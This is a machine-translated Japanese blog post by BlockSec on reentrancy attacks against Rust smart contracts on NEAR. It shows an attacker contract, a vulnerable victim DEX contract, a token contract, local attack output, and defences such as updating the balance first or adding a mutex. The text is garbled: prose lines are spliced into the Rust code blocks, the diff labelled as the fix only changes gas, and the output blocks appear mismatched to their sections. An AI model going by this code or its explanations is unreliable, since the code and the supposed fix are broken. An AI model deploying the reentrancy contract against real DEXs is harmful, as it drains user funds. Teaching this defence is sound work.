Rustスマートコントラクト開発日記(5)
BlockSec
2022-03-29 10:33
本文约7055字,阅读全文需要约28分钟
Rust コントラクト セキュリティ リエントリー攻撃。

関連記事:

Rustスマートコントラクト開発日記(1)コントラクト状態データの定義とメソッド実装https://github.com/blocksecteam/near_demo

Rust スマートコントラクト開発日記 (2) Rust スマートコントラクトの単体テストを書く

写真

Rust スマートコントラクト開発日記 (2) Rust スマートコントラクトの単体テストを書く

Rustスマートコントラクト開発日記(3) Rustスマートコントラクトのデプロイ、関数呼び出し、エクスプローラーの使い方

Rustスマートコントラクト開発日記(3) Rustスマートコントラクトのデプロイ、関数呼び出し、エクスプローラーの使い方

Rustスマートコントラクト開発日記(4) Rustスマートコントラクトの整数オーバーフロー

この号では、Rust コントラクトにおける再入攻撃を示し、開発者に対応する提案を提供します。この記事の関連コードは BlockSec の Github にアップロードされており、読者は自分でダウンロードできます。

副題

1. リエントラント攻撃の原理

写真

  • リエントリー攻撃を理解するために、現実の簡単な例を使用します。つまり、ユーザーが銀行に現金 100 元を持っていると仮定すると、ユーザーが銀行からお金を引き出したいとき、ユーザーはまず窓口係 A に告げます。 :「Take 60元が欲しいです。」このときの窓口Aは利用者の残高を100元と確認しますが、その残高が利用者が引き出したい金額を上回っているため、窓口Aはまず現金60元を利用者に渡します。しかし、窓口係Aが利用者の残高を40元に更新する前に、利用者は隣に走って別の窓口係Bに「60元引き出したい」と言い、窓口から引き出したばかりであることを隠した。お金の事実。ユーザーの残高が窓口 A によって更新されていないため、窓口 B はユーザーの残高がまだ 100 元であることを確認するため、窓口 B はためらうことなく 60 元をユーザーに渡し続けます。エンドユーザーは実際に 120 元の現金を受け取りました。これは、以前に銀行に保管されていた 100 元の現金よりも多い額です。

  • なぜこのようなことが起こったのでしょうか?その理由は、窓口係 A が事前にユーザーの口座から 60 元を引き落としていなかったからです。窓口Aの場合は事前に金額を差し引くことができます。ユーザーが窓口 B にお金を引き出すように依頼すると、窓口 B はユーザーの残高が更新され、残高 (40 元) を超える現金を引き出すことができないことがわかります。

以下のセクション 2 では、まず関連する背景知識を紹介し、セクション 3 では、NEAR チェーン上に展開されたスマート コントラクトに対するコード リエントランシーの有害性を反映するために、NEAR LocalNet における具体的なリエントランシー攻撃の例を示します。この記事の最後では、Rust スマート コントラクトをより適切に作成できるように、再エントリ攻撃に対する保護テクノロジを詳しく紹介します。

副題

2. 予備知識:NEP141の転送動作

  • NEP141 は、NEAR パブリック チェーン上の Fungible Token (以下、トークン) 標準です。 NEAR のほとんどのトークンは NEP141 標準に従っています。

    ユーザーが分散型取引所 (DEX) などの特定のプールに一定量のトークンを入金または引き出したい場合、ユーザーは対応するコントラクト インターフェイスを呼び出して特定の操作を完了できます。

  • DEX プロジェクト コントラクトが対応するインターフェイス関数を実行すると、トークン コントラクト内の ft_transfer/ft_transfer_call 関数を呼び出して、正式な転送操作を実現します。これら 2 つの関数の違いは次のとおりです。

    トークン コントラクトで ft_transfer 関数を呼び出す場合、転送の受信者 (receiver_id) は EOA アカウントになります。

  • #[near_bindgen]
    #[derive(BorshDeserialize, BorshSerialize)]
    pub struct VictimContract {
       attacker_balance: u128,
       other_balance: u128,
    }
    impl Default for VictimContract {
       fn default() -> Self {
           Self {
               attacker_balance: 100,
               other_balance:100
          }
      }
    }

トークン コントラクトで ft_transfer_call 関数を呼び出す場合、転送の受信者 (receiver_id) はコントラクト アカウントになります。

ft_transfer_call では、トランザクション開始者 (sender_id) の送金金額を差し引き、送金先ユーザー (receiver_id) の残高を増やすことに加えて、receiver_id コントラクトに ft_on_transfer (コイン回収機能) という追加機能を追加します。 ) クロスコントラクト通話の場合。ここで簡単に理解できるのは、この時点で、トークン コントラクトは、ユーザーが指定された量のトークンを預けたことを、receiver_id コントラクトに通知するということです。 Receiver_id コントラクトは、内部アカウントの残高管理を ft_on_transfer 関数内で独自に維持します。

#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
   attacker_balance: u128,
   victim_balance: u128
}
impl Default for FungibleToken {
   fn default() -> Self {
       Self {
           attacker_balance: 0,
           victim_balance: 200
      }
  }

副題

  • 3. コード再入性の具体例

次のような 3 つのスマート コントラクトがあるとします。

impl MaliciousContract {    
pub fn malicious_call(&mut self, amount:u128){
       ext_victim::withdraw(
           amount.into(), 
          &VICTIM, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL
          );
  }
...
}

  • 契約 A: 攻撃者契約。

  • impl VictimContract {
       pub fn withdraw(&mut self,amount: u128) -> Promise{
           assert!(self.attacker_balance>= amount);
    攻撃者はこのコントラクトを使用して、後続の攻撃トランザクションを実行します。
           ext_ft_token::ft_transfer_call(
               amount.into(), 
              &FT_TOKEN, 
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
              )
              .then(ext_self::ft_resolve_transfer(
                   amount.into(),
                  &env::current_account_id(),
                   0,
                   GAS_FOR_SINGLE_CALL,
              ))
      }
    ...
    }  
  • 契約B: 被害者契約。

DEX契約の場合。初期化時の攻撃者アカウントの残高は 100、他の DEX ユーザーの残高は 100 です。つまり、DEX コントラクトは現時点で合計 200 トークンを保持しています。

  • コントラクト C: トークン コントラクト (NEP141)。

  • #[near_bindgen]
    impl FungibleToken {
       pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue{
    攻撃前、攻撃者の口座は被害者の契約から現金を引き出さなかったため、残高は 0 でした。このとき、被害者の契約の残高 (DEX) は 100+100 =200 でした。
           self.attacker_balance += amount;
           self.victim_balance   -= amount;
    コード再入攻撃の具体的なプロセスを以下に説明します。
           ext_fungible_token_receiver::ft_on_transfer(
               amount.into(), 
              &ATTACKER,
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL
              ).into()
      }
    ...
    }
  • 攻撃者コントラクトは、malicious_call 関数を通じて被害者コントラクト (コントラクト B) のdraw関数を呼び出します。

  • #[near_bindgen]
    impl MaliciousContract {
       pub fn ft_on_transfer(&mut self, amount: u128){
    たとえば、この時点で、攻撃者は、契約 B から 60 を引き出すことを期待して、金額パラメーターの値を 60 として引き出し関数に渡します。
           if self.reentered == false{
               ext_victim::withdraw(
                   amount.into(), 
                  &VICTIM, 
                   0, 
                   env::prepaid_gas() - GAS_FOR_SINGLE_CALL
                  );
          }
           self.reentered = true;
      }
    ...
    }
  • コントラクト B では、withdraw 関数の最初にあるassert!(self.attacher_balance>= amount); によって、攻撃者のアカウントに十分な残高があるかどうかがチェックされます。この時点での残高は 100>60 であり、その後の出金のステップはアサーションを通じて実行されます。

  • // 攻撃者のコイン収集関数を呼び出す

  • 次に、コントラクト B のdraw関数は、コントラクト C (FT_Token コントラクト) の ft_transfer_call 関数を呼び出します。

  • クロスコントラクト呼び出しは、上記のコードの ext_ft_token::ft_transfer_call によって実現されます。

コントラクト C の ft_transfer_call 関数は、攻撃者アカウントの残高 = 0 + 60 = 60、被害者コントラクト アカウントの残高 = 200 - 60 = 140 を更新し、コントラクト A の ft_on_transfer 「トークン収集」関数を呼び出します。 ext_fungible_token_receiver::ft_on_transfer。

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80

// 攻撃者のコイン収集関数を呼び出す

コントラクト A は攻撃者によって制御されており、コードには悪意のある動作があるためです。したがって、「悪意のある」ft_on_transfer 関数は、再度 ext_victim::withdraw を実行することにより、コントラクト B のdraw関数を呼び出し、リエントリーの効果を得ることができます。

// 悪意のあるコントラクトのコイン収集機能

被害者コントラクトの Attacker_balance は、最後に出金が入力されてから更新されていないため、まだ 100 です。したがって、この時点では、assert!(self.attacher_balance>= amount) のチェックはまだ通過できます。出金後、FT_Token コントラクト内のコントラクト全体で ft_transfer_call 関数が再度呼び出され、攻撃者アカウントの残高 = 60 + 60 = 120、被害者コントラクト アカウントの残高 = 140 - 60 = 80 となります。

#[near_bindgen]
impl VictimContract {
   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
     self.attacker_balance -= amount;
ft_transfer_call は、攻撃者コントラクトの ft_on_transfer 関数を再度コールバックします。コントラクト A の ft_on_transfer 関数は現在、withdraw 関数に一度だけ再入力するため、今回 ft_on_transfer が呼び出された時点で再入力動作は終了します。
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }   #[private]
   pub fn ft_resolve_transfer(&mut self, amount: u128) {
       match env::promise_result(0) {
           PromiseResult::NotReady => unreachable!(),
           PromiseResult::Successful(_) => {
          }
           PromiseResult::Failed => {
その後、関数は前の呼び出しチェーンに沿って段階的に戻り、コントラクト B のdraw 関数で self.attacher_balance を更新すると、結果は self.attacher_balance = 100 -60 -60 = -20 になります。
self. Attacker_balance が u128 であり、safe_math が使用されていないため、整数オーバーフローが発生します。
self.attacker_balance += amount;  
          }
      };
  }

最終的な実行結果は次のようになります。

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

つまり、ユーザー攻撃者が DEX でロックしている FungibleToken 残高は 100 のみですが、攻撃者が実際に受け取る転送は 120 であり、このコード リエントランシー攻撃の目的が実現されています。

副題

4. コード再入力防止技術

4.1 最初に合計と状態を更新し (最初に金額を差し引いて)、その後送金します。

契約 B コード撤回の実行ロジックを次のように変更します。

// 攻撃者のコイン収集関数を呼び出す

   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
// ext_ft_token::ft_transfer_call クロスコントラクト通話転送が失敗した場合、
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
-           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+           GAS_FOR_SINGLE_CALL * 3
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }

// 次に、以前のアカウント残高ステータスの更新をロールバックします。

$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

このときの Victim コントラクトは、出金時に事前にユーザーの残高を更新しているため、外部の FungibleToken を呼び出して送金を実装していることがわかります。したがって、2 回目の出金再入力時には、Victim コントラクトに保存されている Attacker_balance が 40 に更新されているため、assert!(self.attacher_balance>= amount) が渡されず、Attcker の呼び出し処理ができなくなります。コードの再入を伴うアサーション パニック アービトラージによってトリガーされます。

4.2 ミューテックスの導入

この方法は、窓口係 A が利用者の残高を 40 元に更新する時間がなかったときに、利用者が隣に走って行き、別の窓口係 B に「60 元引き出したい」と伝えるのと似ています。利用者は先ほど窓口Aからお金を引き出したことを隠していましたが。しかし、窓口Bは、利用者が窓口Aを訪れ、全ての用事を済ませていないことを知ることができるので、この時点では、窓口Bは利用者のお金の引き出しを拒否することができる。通常、ミューテックスは状態変数を導入することで実装できます。

BlockSec
作者文库